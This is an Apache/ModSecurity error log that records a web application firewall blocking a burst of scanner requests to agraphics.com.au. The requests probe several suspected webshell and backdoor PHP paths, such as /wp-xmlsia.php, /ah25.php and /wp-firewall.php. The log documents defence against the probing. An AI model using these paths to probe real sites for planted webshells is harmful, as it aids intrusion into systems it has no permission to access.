[Mon May 04 23:51:48.489075 2026] [:error] [pid 61043:tid 61087] [client 4.204.197.96:43109] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "afjAlJ8-LwtfURjiAbDpmQAAAEw"]
[Mon May 04 23:51:49.008978 2026] [:error] [pid 61043:tid 61090] [client 4.204.197.96:43112] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "afjAlZ8-LwtfURjiAbDpmgAAAE8"]
[Mon May 04 23:51:49.536970 2026] [:error] [pid 3341:tid 3345] [client 4.204.197.96:43039] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "afjAlU9o3_LordU0wW6eXwAAAIE"]
[Mon May 04 23:51:50.204145 2026] [:error] [pid 3341:tid 3368] [client 4.204.197.96:43097] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "afjAlk9o3_LordU0wW6eYgAAAJg"]
[Mon May 04 23:51:50.634271 2026] [:error] [pid 3341:tid 3360] [client 4.204.197.96:42712] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "afjAlk9o3_LordU0wW6eZgAAAJA"]
[Mon May 04 23:51:51.279165 2026] [:error] [pid 3341:tid 3348] [client 4.204.197.96:43077] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "afjAl09o3_LordU0wW6eaQAAAIQ"]
[Mon May 04 23:51:51.844710 2026] [:error] [pid 32471:tid 32496] [client 4.204.197.96:43089] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "afjAl3mjpb9EYq6AqhKRzwAAARY"]
[Mon May 04 23:51:52.296272 2026] [:error] [pid 32471:tid 32481] [client 4.204.197.96:43041] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "afjAmHmjpb9EYq6AqhKR0QAAAQc"]
[Mon May 04 23:51:52.783382 2026] [:error] [pid 61043:tid 61097] [client 4.204.197.96:43018] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "afjAmJ8-LwtfURjiAbDpngAAAFY"]
[Mon May 04 23:51:53.243469 2026] [:error] [pid 61043:tid 61080] [client 4.204.197.96:43022] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "afjAmZ8-LwtfURjiAbDppAAAAEU"]
[Mon May 04 23:51:53.700564 2026] [:error] [pid 61044:tid 61111] [client 4.204.197.96:43118] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "afjAmUw8w2zZZXI6H1u5yAAAAAk"]
[Mon May 04 23:51:54.162974 2026] [:error] [pid 32471:tid 32476] [client 4.204.197.96:43029] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "afjAmnmjpb9EYq6AqhKR1wAAAQI"]
[Mon May 04 23:51:54.628053 2026] [:error] [pid 3341:tid 3350] [client 4.204.197.96:43016] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "afjAmk9o3_LordU0wW6edAAAAIY"]
[Mon May 04 23:51:55.041833 2026] [:error] [pid 3341:tid 3354] [client 4.204.197.96:43080] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-signup.php"] [unique_id "afjAm09o3_LordU0wW6edwAAAIo"]
[Mon May 04 23:51:55.506744 2026] [:error] [pid 3341:tid 3347] [client 4.204.197.96:43020] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-signup.php"] [unique_id "afjAm09o3_LordU0wW6efAAAAIM"]
[Mon May 04 23:51:55.936147 2026] [:error] [pid 3341:tid 3353] [client 4.204.197.96:43027] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-signup.php"] [unique_id "afjAm09o3_LordU0wW6egQAAAIk"]
[Mon May 04 23:51:56.412139 2026] [:error] [pid 3341:tid 3360] [client 4.204.197.96:43119] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-signup.php"] [unique_id "afjAnE9o3_LordU0wW6eggAAAJA"]
[Mon May 04 23:51:56.899975 2026] [:error] [pid 61042:tid 61060] [client 4.204.197.96:43115] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xmlsia.php"] [unique_id "afjAnEnAPPS1fjubA9RxeQAAAM4"]
[Mon May 04 23:51:57.312590 2026] [:error] [pid 61044:tid 61125] [client 4.204.197.96:43061] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xmlsia.php"] [unique_id "afjAnUw8w2zZZXI6H1u5ygAAABc"]
[Mon May 04 23:51:57.781814 2026] [:error] [pid 61150:tid 61172] [client 4.204.197.96:43104] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xmlsia.php"] [unique_id "afjAne8QXWVLiwIGVpeocAAAAVM"]
[Mon May 04 23:51:58.211262 2026] [:error] [pid 61043:tid 61089] [client 4.204.197.96:42705] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xmlsia.php"] [unique_id "afjAnp8-LwtfURjiAbDpqAAAAE4"]
[Mon May 04 23:51:58.635046 2026] [:error] [pid 61042:tid 61054] [client 4.204.197.96:43032] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-inic3.php"] [unique_id "afjAnknAPPS1fjubA9RxegAAAMg"]
[Mon May 04 23:51:59.092463 2026] [:error] [pid 32471:tid 32493] [client 4.204.197.96:43040] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-inic3.php"] [unique_id "afjAn3mjpb9EYq6AqhKR3wAAARM"]
[Mon May 04 23:51:59.526434 2026] [:error] [pid 61043:tid 61096] [client 4.204.197.96:43099] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-inic3.php"] [unique_id "afjAn58-LwtfURjiAbDpqgAAAFU"]
[Mon May 04 23:51:59.950508 2026] [:error] [pid 61044:tid 61115] [client 4.204.197.96:43094] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-inic3.php"] [unique_id "afjAn0w8w2zZZXI6H1u5zQAAAA0"]
[Mon May 04 23:52:00.448596 2026] [:error] [pid 3341:tid 3346] [client 4.204.197.96:43058] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "afjAoE9o3_LordU0wW6ehgAAAII"]
[Mon May 04 23:52:00.896939 2026] [:error] [pid 61042:tid 61063] [client 4.204.197.96:43057] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "afjAoEnAPPS1fjubA9RxfwAAANE"]
[Mon May 04 23:52:01.374605 2026] [:error] [pid 3341:tid 3358] [client 4.204.197.96:43042] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "afjAoU9o3_LordU0wW6eiQAAAI4"]
[Mon May 04 23:52:01.860635 2026] [:error] [pid 3341:tid 3363] [client 4.204.197.96:43035] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "afjAoU9o3_LordU0wW6eiwAAAJM"]
[Mon May 04 23:52:02.291464 2026] [:error] [pid 3341:tid 3345] [client 4.204.197.96:43074] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "afjAok9o3_LordU0wW6ejQAAAIE"]
[Mon May 04 23:52:02.747958 2026] [:error] [pid 61043:tid 61078] [client 4.204.197.96:43135] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "afjAop8-LwtfURjiAbDprAAAAEM"]
[Mon May 04 23:52:03.179053 2026] [:error] [pid 32471:tid 32474] [client 4.204.197.96:43090] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "afjAo3mjpb9EYq6AqhKR4AAAAQA"]
[Mon May 04 23:52:03.632263 2026] [:error] [pid 32471:tid 32483] [client 4.204.197.96:43063] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "afjAo3mjpb9EYq6AqhKR4wAAAQk"]
[Mon May 04 23:52:04.222442 2026] [:error] [pid 61042:tid 61053] [client 4.204.197.96:42724] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "afjApEnAPPS1fjubA9RxgAAAAMc"]
[Mon May 04 23:52:04.706502 2026] [:error] [pid 32471:tid 32478] [client 4.204.197.96:42693] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "afjApHmjpb9EYq6AqhKR5wAAAQQ"]
[Mon May 04 23:52:05.125970 2026] [:error] [pid 32471:tid 32485] [client 4.204.197.96:43133] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "afjApXmjpb9EYq6AqhKR6QAAAQs"]
[Mon May 04 23:52:05.573529 2026] [:error] [pid 3341:tid 3361] [client 4.204.197.96:43053] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "afjApU9o3_LordU0wW6ekAAAAJE"]
[Mon May 04 23:52:06.003399 2026] [:error] [pid 3341:tid 3357] [client 4.204.197.96:43015] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-firewall.php"] [unique_id "afjApk9o3_LordU0wW6ekQAAAI0"]
[Mon May 04 23:52:06.439208 2026] [:error] [pid 61150:tid 61164] [client 4.204.197.96:43123] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-firewall.php"] [unique_id "afjApu8QXWVLiwIGVpeofQAAAUs"]
[Mon May 04 23:52:06.947286 2026] [:error] [pid 32471:tid 32493] [client 4.204.197.96:43009] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-firewall.php"] [unique_id "afjApnmjpb9EYq6AqhKR7AAAARM"]
[Mon May 04 23:52:07.363073 2026] [:error] [pid 61150:tid 61171] [client 4.204.197.96:43034] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-firewall.php"] [unique_id "afjAp-8QXWVLiwIGVpeofwAAAVI"]
[Mon May 04 23:52:07.792589 2026] [:error] [pid 61042:tid 61068] [client 4.204.197.96:43055] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "afjAp0nAPPS1fjubA9RxggAAANY"]
[Mon May 04 23:52:08.258598 2026] [:error] [pid 61043:tid 61099] [client 4.204.197.96:43088] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "afjAqJ8-LwtfURjiAbDptwAAAFg"]
[Mon May 04 23:52:08.674786 2026] [:error] [pid 61043:tid 61094] [client 4.204.197.96:43028] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "afjAqJ8-LwtfURjiAbDpuAAAAFM"]
[Mon May 04 23:52:09.108009 2026] [:error] [pid 61044:tid 61107] [client 4.204.197.96:42735] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "afjAqUw8w2zZZXI6H1u50QAAAAU"]
[Mon May 04 23:52:09.539145 2026] [:error] [pid 61043:tid 61098] [client 4.204.197.96:42699] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "afjAqZ8-LwtfURjiAbDpvAAAAFc"]
[Mon May 04 23:52:10.003061 2026] [:error] [pid 61150:tid 61157] [client 4.204.197.96:43070] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "afjAqu8QXWVLiwIGVpeohAAAAUQ"]
[Mon May 04 23:52:10.443866 2026] [:error] [pid 32471:tid 32478] [client 4.204.197.96:42688] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "afjAqnmjpb9EYq6AqhKR9wAAAQQ"]
[Mon May 04 23:52:10.923134 2026] [:error] [pid 61150:tid 61174] [client 4.204.197.96:42690] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "afjAqu8QXWVLiwIGVpeohQAAAVU"]
[Mon May 04 23:52:11.519649 2026] [:error] [pid 61150:tid 61166] [client 4.204.197.96:43073] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "afjAq-8QXWVLiwIGVpeohwAAAU0"]
[Mon May 04 23:52:11.964789 2026] [:error] [pid 32471:tid 32491] [client 4.204.197.96:43008] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "afjAq3mjpb9EYq6AqhKR_QAAARE"]
[Mon May 04 23:52:12.469600 2026] [:error] [pid 61150:tid 61161] [client 4.204.197.96:43013] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "afjArO8QXWVLiwIGVpeoiQAAAUg"]
[Mon May 04 23:52:12.902727 2026] [:error] [pid 61150:tid 61153] [client 4.204.197.96:43045] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "afjArO8QXWVLiwIGVpeoigAAAUA"]
[Mon May 04 23:52:13.524903 2026] [:error] [pid 61044:tid 61118] [client 4.204.197.96:42721] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "afjArUw8w2zZZXI6H1u51gAAABA"]
[Mon May 04 23:52:13.967951 2026] [:error] [pid 61044:tid 61125] [client 4.204.197.96:43060] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "afjArUw8w2zZZXI6H1u52QAAABc"]
[Mon May 04 23:52:14.583148 2026] [:error] [pid 3341:tid 3366] [client 4.204.197.96:43062] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "afjArk9o3_LordU0wW6engAAAJY"]
[Mon May 04 23:52:15.005477 2026] [:error] [pid 3341:tid 3361] [client 4.204.197.96:43023] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "afjAr09o3_LordU0wW6enwAAAJE"]
